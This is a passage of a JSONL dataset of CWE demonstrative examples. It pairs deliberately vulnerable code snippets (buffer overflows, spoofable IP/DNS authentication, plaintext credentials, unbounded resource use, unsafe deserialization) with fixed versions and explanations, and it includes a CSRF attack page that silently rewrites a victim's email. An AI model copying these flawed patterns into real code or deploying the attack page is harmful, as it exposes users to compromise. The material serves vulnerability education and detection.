Debug.jsonl

{
  "source": [
    "#define NAME_TYPE 1#define ID_TYPE 2\nstruct MessageBuffer{int msgType;union {char *name;int nameID;};};\n\nint main (int argc, char **argv) {\nstruct MessageBuffer buf;char *defaultMessage = \"Hello World\";\nbuf.msgType = NAME_TYPE;buf.name = defaultMessage;printf(\"Pointer of buf.name is %p\\n\", buf.name);\n/* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it could be any value. */\n\nbuf.nameID = (int)(defaultMessage + 1);printf(\"Pointer of buf.name is now %p\\n\", buf.name);if (buf.msgType == NAME_TYPE) {printf(\"Message: %s\\n\", buf.name);}else {printf(\"Message: Use ID %d\\n\", buf.nameID);}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-843",
  "example_id": "1",
  "explanation": "The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.The code intends to process the message as a NAME_TYPE, and sets the default message to \"Hello World.\" However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.Execution of the program might generate output such as:\n\nPointer of name is 10830\nPointer of name is now 10831\nMessage: ello World\n\nNotice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.In this case, the first \"H\" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes."
}
{
  "source": [
    "$value = $_GET['value'];$sum = $value + 5;echo \"value parameter is '$value'<p>\";echo \"SUM is $sum\";"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-843",
  "example_id": "2",
  "explanation": "The following PHP code accepts a value, adds 5, and prints the sum.When called with the following query string:\n\nvalue=123\n\nthe program calculates the sum and prints out:\n\nSUM is 128\n\nHowever, the attacker could supply a query string such as:\n\nvalue[]=123\n\nThe \"[]\" array syntax causes $value to be treated as an array type, which then generates a fatal error when calculating $sum:\n\nFatal error: Unsupported operand types in program.php on line 2"
}
{
  "source": [
    "my $UserPrivilegeArray = [\"user\", \"user\", \"admin\", \"user\"];\nmy $userID = get_current_user_ID();\nif ($UserPrivilegeArray eq \"user\") {print \"Regular user!\\n\";}else {print \"Admin!\\n\";}\nprint \"\\$UserPrivilegeArray = $UserPrivilegeArray\\n\";"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    }
  ],
  "cwe_id": "CWE-843",
  "example_id": "3",
  "explanation": "The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the $UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).In this case, the programmer intended to use \"$UserPrivilegeArray->{$userID}\" to access the proper position in the array. But because the subscript was omitted, the \"user\" string was compared to the scalar representation of the $UserPrivilegeArray reference, which might be of the form \"ARRAY(0x229e8)\" or similar.Since the logic also \"fails open\" (CWE-636), the result of this bug is that all users are assigned administrator privileges. While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages."
}
{
  "source": [
    "sock=socket(AF_INET, SOCK_STREAM, 0);while (1) {newsock=accept(sock, ...);printf(\"A connection has been accepted\\n\");pid = fork();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-770",
  "example_id": "1",
  "explanation": "This code allocates a socket and forks each time it receives a new connection.The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely."
}
{
  "source": [
    "int writeDataFromSocketToFile(char *host, int port){\n\nchar filename[FILENAME_SIZE];char buffer[BUFFER_SIZE];int socket = openSocketConnection(host, port);\nif (socket < 0) {printf(\"Unable to open socket connection\");return(FAIL);}if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {\nif (openFileToWrite(filename) > 0) {\nwhile (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){if (!(writeToFile(buffer) > 0))break;\n}\n}closeFile();\n}closeSocket(socket);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-770",
  "example_id": "2",
  "explanation": "In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service."
}
{
  "source": [
    "/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */\nint processMessage(char **message){\nchar *body;\nint length = getMessageLength(message[0]);\nif (length > 0) {body = &message[1][0];processMessageBody(body);return(SUCCESS);}else {printf(\"Unable to process message; invalid message length\");return(FAIL);}\n}",
    "unsigned int length = getMessageLength(message[0]);if ((length > 0) && (length < MAX_LENGTH)) {...}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-770",
  "example_id": "3",
  "explanation": "In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length checkAlso, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code."
}
{
  "source": [
    "public void acceptConnections() {\n\ntry {ServerSocket serverSocket = new ServerSocket(SERVER_PORT);int counter = 0;boolean hasConnections = true;while (hasConnections) {Socket client = serverSocket.accept();Thread t = new Thread(new ClientSocketThread(client));t.setName(client.getInetAddress().getHostName() + \":\" + counter++);t.start();}serverSocket.close();\n\n} catch (IOException ex) {...}\n}",
    "public static final int SERVER_PORT = 4444;public static final int MAX_CONNECTIONS = 10;...\npublic void acceptConnections() {\n\ntry {ServerSocket serverSocket = new ServerSocket(SERVER_PORT);int counter = 0;boolean hasConnections = true;while (hasConnections) {hasConnections = checkForMoreConnections();Socket client = serverSocket.accept();Thread t = new Thread(new ClientSocketThread(client));t.setName(client.getInetAddress().getHostName() + \":\" + counter++);ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);pool.execute(t);}serverSocket.close();\n\n} catch (IOException ex) {...}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-770",
  "example_id": "4",
  "explanation": "In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-770",
  "example_id": "5",
  "explanation": "An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.Example 5 References:[REF-667] Rafal Los. \"Real-Life Example of a 'Business Logic Defect' (Screen Shots!)\". 2011. \n\t\t\t\t<http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581>."
}
{
  "source": [
    "bar connection() {foo = malloc(1024);return foo;}endConnection(bar foo) {free(foo);}int main() {while(1) {foo=connection();}endConnection(foo)}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-770",
  "example_id": "6",
  "explanation": "Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory."
}
{
  "source": [
    "String sourceIP = request.getRemoteAddr();if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {authenticated = true;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-290",
  "example_id": "1",
  "explanation": "The following code authenticates users.The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism."
}
{
  "source": [
    "sd = socket(AF_INET, SOCK_DGRAM, 0);serv.sin_family = AF_INET;serv.sin_addr.s_addr = htonl(INADDR_ANY);servr.sin_port = htons(1008);bind(sd, (struct sockaddr *) & serv, sizeof(serv));\nwhile (1) {memset(msg, 0x0, MAX_MSG);clilen = sizeof(cli);if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);}}",
    "while(true) {\nDatagramPacket rp=new DatagramPacket(rData,rData.length);outSock.receive(rp);String in = new String(p.getData(),0, rp.getLength());InetAddress clientIPAddress = rp.getAddress();int port = rp.getPort();\nif (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {out = secret.getBytes();DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-290",
  "example_id": "2",
  "explanation": "Both of these examples check if a request is from a trusted address before responding to the request.The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client."
}
{
  "source": [
    "struct hostent *hp;struct in_addr myaddr;char* tHost = \"trustme.example.com\";myaddr.s_addr=inet_addr(ip_addr_string);\nhp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {trusted = true;} else {trusted = false;}",
    "String ip = request.getRemoteAddr();InetAddress addr = InetAddress.getByName(ip);if (addr.getCanonicalHostName().endsWith(\"trustme.com\")) {trusted = true;}",
    "IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);if (hostInfo.HostName.EndsWith(\"trustme.com\")) {trusted = true;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "C#"
    }
  ],
  "cwe_id": "CWE-290",
  "example_id": "3",
  "explanation": "The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication."
}
{
  "source": [
    "char last_name[20];printf (\"Enter your last name: \");scanf (\"%s\", last_name);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-120",
  "example_id": "1",
  "explanation": "The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters \"Very_very_long_last_name\" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total."
}
{
  "source": [
    "void manipulate_string(char * string){char buf[24];strcpy(buf, string);...}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-120",
  "example_id": "2",
  "explanation": "The following code attempts to create a local copy of a buffer to perform some manipulations to the data.However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter."
}
{
  "source": [
    "char buf[24];printf(\"Please enter your name and press <Enter>\\n\");gets(buf);...}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-120",
  "example_id": "3",
  "explanation": "The code below calls the gets() function to read in data from the command line.However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition."
}
{
  "source": [
    "...\nstruct hostent *clienthp;char hostname[MAX_LEN];\n// create server socket, bind to server address and listen on socket...\n// accept client connections and process requestsint count = 0;for (count = 0; count < MAX_CONNECTIONS; count++) {\n\nint clientlen = sizeof(struct sockaddr_in);int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);\nif (clientsocket >= 0) {\nclienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);strcpy(hostname, clienthp->h_name);logOutput(\"Accepted client connection from host \", hostname);\n// process client request...close(clientsocket);\n}\n}close(serversocket);\n\n..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-120",
  "example_id": "4",
  "explanation": "In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method."
}
{
  "source": [
    "response.addCookie( new Cookie(\"userAccountID\", acctID);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-312",
  "example_id": "1",
  "explanation": "The following code excerpt stores a plaintext user account ID in a browser cookie.Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker."
}
{
  "source": [
    "function persistLogin($username, $password){$data = array(\"username\" => $username, \"password\"=> $password);setcookie (\"userdata\", $data);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-312",
  "example_id": "2",
  "explanation": "This code writes a user's login information to a cookie so the user does not have to login again later.The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie. Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315)."
}
{
  "source": [
    "server.sin_family = AF_INET; hp = gethostbyname(argv[1]);if (hp==NULL) error(\"Unknown host\");memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);if (argc < 3) port = 80;else port = (unsigned short)atoi(argv[3]);server.sin_port = htons(port);if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error(\"Connecting\");...while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {\n\nwrite(dfd,password_buffer,n);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-312",
  "example_id": "3",
  "explanation": "The following code attempts to establish a connection, read in a password, then store it to a buffer.While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors."
}
{
  "source": [
    "# Java Web App ResourceBundle properties file\n...webapp.ldap.username=secretUsernamewebapp.ldap.password=secretPassword...",
    "...<connectionStrings><add name=\"ud_DEV\" connectionString=\"connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;\" providerName=\"System.Data.Odbc\" /></connectionStrings>..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "ASP.NET"
    }
  ],
  "cwe_id": "CWE-312",
  "example_id": "4",
  "explanation": "The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.This Java example shows a properties file with a cleartext username / password pair.The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-312",
  "example_id": "5",
  "explanation": "In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were \"insecure by design\" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. At least one OT product stored a password in plaintext."
}
{
  "source": [
    "A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]",
    "The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Other"
    },
    {
      "vul_flag": 0,
      "language": "Other"
    }
  ],
  "cwe_id": "CWE-312",
  "example_id": "6",
  "explanation": "In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered."
}
{
  "source": [
    "New-AzStorageEncryptionScope -ResourceGroupName \"MyResourceGroup\" -AccountName \"MyStorageAccount\" -EncryptionScopeName testscope -StorageEncryption",
    "ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount\n\n\n\n\nName\nState\nSource\nRequireInfrastructureEncryption\n\n\ntestscope\nEnabled\nMicrosoft.Storage",
    "New-AzStorageEncryptionScope -ResourceGroupName \"MyResourceGroup\" -AccountName \"MyStorageAccount\" -EncryptionScopeName testscope -StorageEncryption -RequireInfrastructureEncryption",
    "ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount\n\n\n\n\nName\nState\nSource\nRequireInfrastructureEncryption\n\n\ntestscope\nEnabled\nMicrosoft.Keyvault\nTrue"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Shell"
    },
    {
      "vul_flag": 1,
      "language": "Other"
    },
    {
      "vul_flag": 0,
      "language": "Shell"
    },
    {
      "vul_flag": 0,
      "language": "(result) Other"
    }
  ],
  "cwe_id": "CWE-312",
  "example_id": "7",
  "explanation": "Consider the following PowerShell command examples for encryption scopes of Azure storage objects. In the first example, an encryption scope is set for the storage account.The result (edited and formatted for readability) might be:However, the empty string under RequireInfrastructureEncryption indicates this service was not enabled at the time of creation, because the -RequireInfrastructureEncryption argument was not specified in the command.Including the -RequireInfrastructureEncryption argument addresses the issue:This produces the report:In a scenario where both software and hardware layer encryption is required (\"double encryption\"), Azure's infrastructure encryption setting can be enabled via the CLI or Portal. An important note is that infrastructure hardware encryption cannot be enabled or disabled after a blob is created. Furthermore, the default value for infrastructure encryption is disabled in blob creations."
}
{
  "source": [
    "try {URL u = new URL(\"http://www.secret.example.org/\");HttpURLConnection hu = (HttpURLConnection) u.openConnection();hu.setRequestMethod(\"PUT\");hu.connect();OutputStream os = hu.getOutputStream();hu.disconnect();}catch (IOException e) {\n//...\n\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-319",
  "example_id": "1",
  "explanation": "The following code attempts to establish a connection to a site to communicate sensitive information.Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-319",
  "example_id": "2",
  "explanation": "In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were \"insecure by design\" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors used cleartext transmission of sensitive information in their OT products."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-319",
  "example_id": "3",
  "explanation": "A TAP accessible register is read/written by a JTAG based tool, for internal use by authorized users. However, an adversary can connect a probing device and collect the values from the unencrypted channel connecting the JTAG interface to the authorized user, if no additional protections are employed."
}
{
  "source": [
    "az storage account show -g {ResourceGroupName} -n {StorageAccountName}",
    "{\n\n\t\t     \"name\": \"{StorageAccountName}\",\n\t\t     \"enableHttpsTrafficOnly\": false,\n\t\t     \"type\": \"Microsoft.Storage/storageAccounts\"\n\n\t\t   }",
    "az storage account update -g {ResourceGroupName} -n {StorageAccountName} --https-only true",
    "{\n\n\t\t     \"name\": \"{StorageAccountName}\",\n\t\t     \"enableHttpsTrafficOnly\": true,\n\t\t     \"type\": \"Microsoft.Storage/storageAccounts\"\n\n\t\t   }"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(informative) Shell"
    },
    {
      "vul_flag": 1,
      "language": "JSON"
    },
    {
      "vul_flag": 0,
      "language": "Shell"
    },
    {
      "vul_flag": 0,
      "language": "JSON"
    }
  ],
  "cwe_id": "CWE-319",
  "example_id": "4",
  "explanation": "The following Azure CLI command lists the properties of a particular storage account:The JSON result might be:The enableHttpsTrafficOnly value is set to false, because the default setting for Secure transfer is set to Disabled. This allows cloud storage resources to successfully connect and transfer data without the use of encryption (e.g., HTTP, SMB 2.1, SMB 3.0, etc.).Azure's storage accounts can be configured to only accept requests from secure connections made over HTTPS. The secure transfer setting can be enabled using Azure's Portal (GUI) or programmatically by setting the enableHttpsTrafficOnly property to True on the storage account, such as:The change can be confirmed from the result by verifying that the enableHttpsTrafficOnly value is true:\nNote: to enable secure transfer using Azure's Portal instead of the command line:\n\n1. Open the Create storage account pane in the Azure portal.\n2. In the Advanced page, select the Enable secure transfer checkbox."
}
{
  "source": [
    "$transfer_amount = GetTransferAmount();$balance = GetBalanceFromDatabase();\nif ($transfer_amount < 0) {FatalError(\"Bad Transfer Amount\");}$newbalance = $balance - $transfer_amount;if (($balance - $transfer_amount) < 0) {FatalError(\"Insufficient Funds\");}SendNewBalanceToDatabase($newbalance);NotifyUser(\"Transfer of $transfer_amount succeeded.\");NotifyUser(\"New balance: $newbalance\");",
    "In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.CALLER-1 makes a transfer request of 80.00.PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.CALLER-2 makes a transfer request of 1.00.PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.PROGRAM-2 determines the new balance as 99.00.After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.PROGRAM-2 sends a request to update the database, setting the balance to 99.00"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(attack code) Other"
    }
  ],
  "cwe_id": "CWE-362",
  "example_id": "1",
  "explanation": "This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().Suppose the balance is initially 100.00. An attack could be constructed as follows:At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase()."
}
{
  "source": [
    "void f(pthread_mutex_t *mutex) {\npthread_mutex_lock(mutex);\n\n/* access shared resource */\n\n\npthread_mutex_unlock(mutex);\n}",
    "int f(pthread_mutex_t *mutex) {\nint result;\nresult = pthread_mutex_lock(mutex);if (0 != result)return result;\n\n\n/* access shared resource */\n\n\nreturn pthread_mutex_unlock(mutex);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-362",
  "example_id": "2",
  "explanation": "The following function attempts to acquire a lock in order to perform operations on a shared resource.However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-362",
  "example_id": "3",
  "explanation": "Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of \"accessible\" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.Suppose the interconnect fabric does not prioritize such \"update\" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario."
}
{
  "source": [
    "<form action=\"/url/profile.php\" method=\"post\"><input type=\"text\" name=\"firstname\"/><input type=\"text\" name=\"lastname\"/><br/><input type=\"text\" name=\"email\"/><input type=\"submit\" name=\"submit\" value=\"Update\"/></form>",
    "// initiate the session in order to validate sessions\nsession_start();\n\n//if the session is registered to a valid user then allow update\n\nif (! session_is_registered(\"username\")) {\n\necho \"invalid session detected!\";\n\n// Redirect user to login page\n[...]\nexit;\n}\n\n// The user session is valid, so process the request\n\n\n// and update the information\n\nupdate_profile();\nfunction update_profile {\n\n\n// read in the data from $POST and send an update\n\n\n// to the database\nSendUpdateToDatabase($_SESSION['username'], $_POST['email']);[...]echo \"Your profile has been successfully updated.\";\n}",
    "<SCRIPT>function SendAttack () {form.email = \"attacker@example.com\";\n// send to profile.php\nform.submit();}</SCRIPT>\n<BODY onload=\"javascript:SendAttack();\">\n<form action=\"http://victim.example.com/profile.php\" id=\"form\" method=\"post\"><input type=\"hidden\" name=\"firstname\" value=\"Funny\"><input type=\"hidden\" name=\"lastname\" value=\"Joke\"><br/><input type=\"hidden\" name=\"email\"></form>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "HTML"
    },
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code) HTML"
    }
  ],
  "cwe_id": "CWE-352",
  "example_id": "1",
  "explanation": "This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.The following HTML is intended to allow a user to update a profile.profile.php contains the following code.This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address."
}
{
  "source": [
    "try {File file = new File(\"object.obj\");ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));javax.swing.JButton button = (javax.swing.JButton) in.readObject();in.close();}",
    "private final void readObject(ObjectInputStream in) throws java.io.IOException {throw new java.io.IOException(\"Cannot be deserialized\"); }"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-502",
  "example_id": "1",
  "explanation": "This code snippet deserializes an object from a file and uses it as a UI button:This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:"
}
{
  "source": [
    "try {\nclass ExampleProtocol(protocol.Protocol):def dataReceived(self, data):\n# Code that would be here would parse the incoming data# After receiving headers, call confirmAuth() to authenticate\ndef confirmAuth(self, headers):try:token = cPickle.loads(base64.b64decode(headers['AuthToken']))if not check_hmac(token['signature'], token['data'], getSecretKey()):raise AuthFailself.secure_data = token['data']except:raise AuthFail\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Python"
    }
  ],
  "cwe_id": "CWE-502",
  "example_id": "2",
